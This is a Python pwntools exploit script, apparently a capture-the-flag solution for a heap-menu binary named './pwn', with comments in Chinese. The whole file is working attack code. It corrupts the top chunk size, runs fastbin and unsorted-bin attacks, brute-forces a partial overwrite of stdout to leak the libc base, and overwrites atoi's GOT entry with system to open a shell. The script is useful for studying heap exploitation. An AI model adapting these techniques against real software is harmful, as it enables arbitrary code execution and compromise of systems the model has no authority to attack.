#!/usr/bin/python3
#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Add(index, size, content, p):
    p.sendlineafter('choice>> ', '1')
    p.sendlineafter('idx: ', str(index))
    p.sendlineafter('size: ', str(size))
    p.sendafter('content: ', content)

def Edit(index, content, p):
    p.sendlineafter('choice>> ', '2')
    p.sendlineafter('idx: ', str(index))
    p.sendafter('content: ', content)

def exploit():
    p = process('./pwn')
    # 控制fastbin 控制0x6021c0
    Add(0, 0x81, 'A'*0x10, p)

    # 修改top_chunk的大小
    Edit(0, b'A'*0x10 + p64(0) + p64(0xfe1) + b'\n', p)
    for i in range(24):
        Add(1, 0x90, 'A'*0x90, p)
    Add(1, 0x90, b'A'*0x30 + b'\n', p)

    # 剩下的top_chunk会放入fastbin中
    Add(2, 0x90, 'A'*0x90, p)

    # 分配chunk控制0x6021c0
    Edit(1, b'\x00'*8 + p64(0x81) + b'\x00'*0x28 + p64(0x81) + p64(0x6021c0) + b'\n', p)
    Add(0, 0x81, 'A'*0x70, p)
    Add(0, 0x90, 'A'*0x70 + '\n', p)

    # 构造unsortbin attack
    Add(1, 0x90, 'A'*0x10 + '\n', p)
    Edit(1, b'\x00'*0x18 + p64(0xf41) + b'\n', p)
    for i in range(23):
        Add(1, 0x90, 'A'*0x90, p)

    Add(1, 0x90, 'A'*0x70 + '\n', p)
    Add(1, 0x90, 'A'*0x20 + '\n', p)
    Add(1, 0x90, 'A'*0x90, p)

    Add(1, 0x90, 'A'*0x10 + '\n', p)
    # 改写unsortbin的fd bk指针
    Edit(1, b'\x00'*0x18 + p64(0x71) + p64(0) + p64(0x6021c0) + b'\n', p)
    # 触发unsortbin attack
    Add(2, 0x90, 'A'*0x60 + '\n', p)

    # 利用部分写将其修改为stdout，需要爆破，十六分之一的概率
    Edit(0, '\x20\x26', p)
    # 修改stdout结构体，leak地址
    Edit(1, p64(0xfbad1800) + p64(0)*3 + b'\x00', p)

    # 接收打印出的地址
    try:
        p.recv(0x18)
        libc_base = u64(p.recv(6) + b'\x00\x00') - 0x3c36e0
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))

        system = libc.symbols['system']
        bin_sh = next(libc.search(b'/bin/sh'))
        info("bin_sh ==> " + hex(bin_sh))
        info("system ==> " + hex(system))

        if (system >> 40) != 0x7f:
            p.close()
            return 0

        # 修改got表中atoi的值
        Edit(0, p64(0x602058), p)
        Edit(1, p64(system), p)
        #gdb.attach(p) 
        p.sendlineafter('choice>> ', '/bin/sh\x00')

        p.interactive()
        p.close()
        return 1
    except:
        p.close()
        return 0

if __name__ == '__main__':
    while True:
        a = exploit()
        if a:
            break
